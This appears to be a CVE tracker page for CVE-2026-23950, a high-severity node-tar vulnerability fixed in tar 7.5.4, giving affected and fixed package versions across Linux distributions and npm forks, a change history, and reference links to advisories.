All versions, plus listed versions 6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-1+deb12u16.1.13+~cs7.0.5-26.1.13+~cs7.0.5-36.1.13+~cs7.0.5-4 Show 17 moreShow less6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-106.2.1+ds1+~cs6.1.13-116.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-86.2.1+ds1+~cs6.1.13-96.2.1+~cs7.0.8-17.5.16+~4.0.1-17.5.16+~4.0.1-27.5.19+~4.0.1-17.5.19+~4.0.1-27.5.22+~4.0.1-1 |
None known |
node-tarDebian:13 |
before 6.2.1+~cs7.0.8-1+deb13u1, plus listed versions 6.2.1+~cs7.0.8-1 |
6.2.1+~cs7.0.8-1+deb13u1 |
node-tarDebian:14 |
before 6.2.1+ds1+~cs6.1.13-7, plus listed versions 6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+~cs7.0.8-1 |
6.2.1+ds1+~cs6.1.13-7 |
tarnpm |
before 7.5.4 | 7.5.4 |
linux-sgxRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgx-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgx-debugsourceRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-commonRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-enclave-devel-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-libsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-libs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-mpaRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-mpa-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccs-adminRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pccs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pckid-toolRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
sgx-pckid-tool-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-attest-libs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-qgsRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
tdx-qgs-debuginfoRed Hat:enterprise_linux:10.2 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgxRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgx-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgx-debugsourceRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-commonRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-enclave-devel-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-libsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-libs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-mpaRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-mpa-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccs-adminRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pckid-toolRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pckid-tool-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-attest-libs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-qgsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-qgs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgxRocky Linux:10 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgxRocky Linux:9 From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tarRoot:npm |
before 6.1.11-aikido.10 | 6.1.11-aikido.107.5.1-aikido.124.4.19-aikido.36.2.1-aikido.87.4.3-aikido.86.2.0-aikido.106.1.11-aikido.47.5.1-aikido.96.1.11-aikido.56.1.11-aikido.64.4.19-aikido.47.5.1-aikido.106.2.1-aikido.96.1.15-aikido.26.1.15-aikido.36.1.11-aikido.76.1.14-aikido.46.1.11-aikido.86.2.1-aikido.104.4.19-aikido.57.4.3-aikido.96.2.1-aikido.116.1.11-aikido.94.4.19-aikido.67.4.3-aikido.106.1.14-aikido.57.5.1-aikido.114.4.19-aikido.76.2.1-aikido.126.1.14-aikido.67.4.3-aikido.116.1.13-aikido.66.1.13-aikido.76.1.13-aikido.87.4.3-aikido.124.4.13-aikido.16.2.0-aikido.116.1.15-aikido.4 |
@rootio/tarRoot:npm |
before 6.2.1-root.io.2 | 6.2.1-root.io.27.4.3-root.io.26.2.0-root.io.46.2.1-root.io.36.2.0-root.io.57.5.1-root.io.47.4.3-root.io.36.2.1-root.io.47.5.1-root.io.57.4.3-root.io.46.2.0-root.io.66.2.1-root.io.56.2.1-root.io.66.2.0-root.io.77.4.3-root.io.57.5.1-root.io.66.2.1-root.io.77.4.3-root.io.67.5.1-root.io.76.2.0-root.io.87.4.3-root.io.77.5.1-root.io.86.2.0-root.io.96.1.11-root.io.36.1.11-root.io.104.4.19-root.io.27.5.1-root.io.124.4.19-root.io.36.2.1-root.io.87.4.3-root.io.86.2.0-root.io.106.1.11-root.io.47.5.1-root.io.96.1.11-root.io.56.1.11-root.io.64.4.19-root.io.47.5.1-root.io.106.2.1-root.io.96.1.15-root.io.26.1.15-root.io.36.1.11-root.io.76.1.14-root.io.46.1.11-root.io.86.2.1-root.io.104.4.19-root.io.57.4.3-root.io.96.2.1-root.io.116.1.11-root.io.94.4.19-root.io.67.4.3-root.io.106.1.14-root.io.57.5.1-root.io.114.4.19-root.io.76.2.1-root.io.126.1.14-root.io.67.4.3-root.io.116.1.13-root.io.66.1.13-root.io.76.1.13-root.io.87.4.3-root.io.124.4.13-root.io.16.2.0-root.io.116.1.15-root.io.4 |
node-tarUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.1.18-10.1.18-1ubuntu0.1~esm1 |
None known |
node-tarUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.3-21.0.3-2ubuntu0.1~esm1 |
None known |
node-tarUbuntu:18.04:LTS |
All versions, plus listed versions 2.2.1-1 |
None known |
node-tarUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1 |
None known |
node-tarUbuntu:22.04:LTS |
All versions, plus listed versions 6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1 |
None known |
node-tarUbuntu:24.04:LTS |
All versions, plus listed versions 6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3 |
None known |
node-tarUbuntu:25.10 |
All versions, plus listed versions 6.2.1+~cs7.0.8-1 |
None known |
node-tarUbuntu:26.10 |
All versions, plus listed versions 6.2.1+ds1+~cs6.1.13-107.5.22+~4.0.1-1 |
None known |
node-tarUbuntu:26.04:LTS |
All versions, plus listed versions 6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-23950 is a high vulnerability (CVSS 8.8) in Isaacs Node-tar, published January 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 18th percentile. Fixed in tar 7.5.4.
References
github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
access.redhat.com/security/cve/CVE-2026-23950
bugzilla.redhat.com/show_bug.cgi?id=2431036
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23950.json
access.redhat.com/errata/RHSA-2026:18480
Show 53 moreShow less
access.redhat.com/errata/RHSA-2026:18868
access.redhat.com/errata/RHSA-2026:6192
access.redhat.com/errata/RHSA-2026:2926
access.redhat.com/errata/RHSA-2026:2144
nvd.nist.gov/vuln/detail/CVE-2026-23950
github.com/advisories/GHSA-r6q2-hw4h-h46w
access.redhat.com/security/cve/CVE-2025-13465
access.redhat.com/security/cve/CVE-2025-15284
access.redhat.com/security/cve/CVE-2026-23745
access.redhat.com/security/cve/CVE-2026-24842
bugzilla.redhat.com/2425946
bugzilla.redhat.com/2430538
bugzilla.redhat.com/2431036
bugzilla.redhat.com/2431740
bugzilla.redhat.com/2433645
errata.almalinux.org/10/ALSA-2026-18480.html
errata.almalinux.org/9/ALSA-2026-18868.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23950.json
security-tracker.debian.org/tracker/CVE-2026-23950
github.com/isaacs/node-tar
docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2425946
bugzilla.redhat.com/show_bug.cgi?id=2430538
bugzilla.redhat.com/show_bug.cgi?id=2431740
bugzilla.redhat.com/show_bug.cgi?id=2433645
issues.redhat.com/browse/RHEL-110112
issues.redhat.com/browse/RHEL-121612
issues.redhat.com/browse/RHEL-140108
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18480.json
cve.org/CVERecord?id=CVE-2025-13465
nvd.nist.gov/vuln/detail/CVE-2025-13465
github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg
cve.org/CVERecord?id=CVE-2025-15284
nvd.nist.gov/vuln/detail/CVE-2025-15284
github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9
github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p
cve.org/CVERecord?id=CVE-2026-23745
nvd.nist.gov/vuln/detail/CVE-2026-23745
github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e
github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97
cve.org/CVERecord?id=CVE-2026-23950
cve.org/CVERecord?id=CVE-2026-24842
nvd.nist.gov/vuln/detail/CVE-2026-24842
github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index
issues.redhat.com/browse/RHEL-127046
issues.redhat.com/browse/RHEL-140109
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18868.json
errata.rockylinux.org/RLSA-2026:18480
errata.rockylinux.org/RLSA-2026:18868
ubuntu.com/security/CVE-2026-23950
Left out here: the rest of 2 source descriptions. The JSON record has them.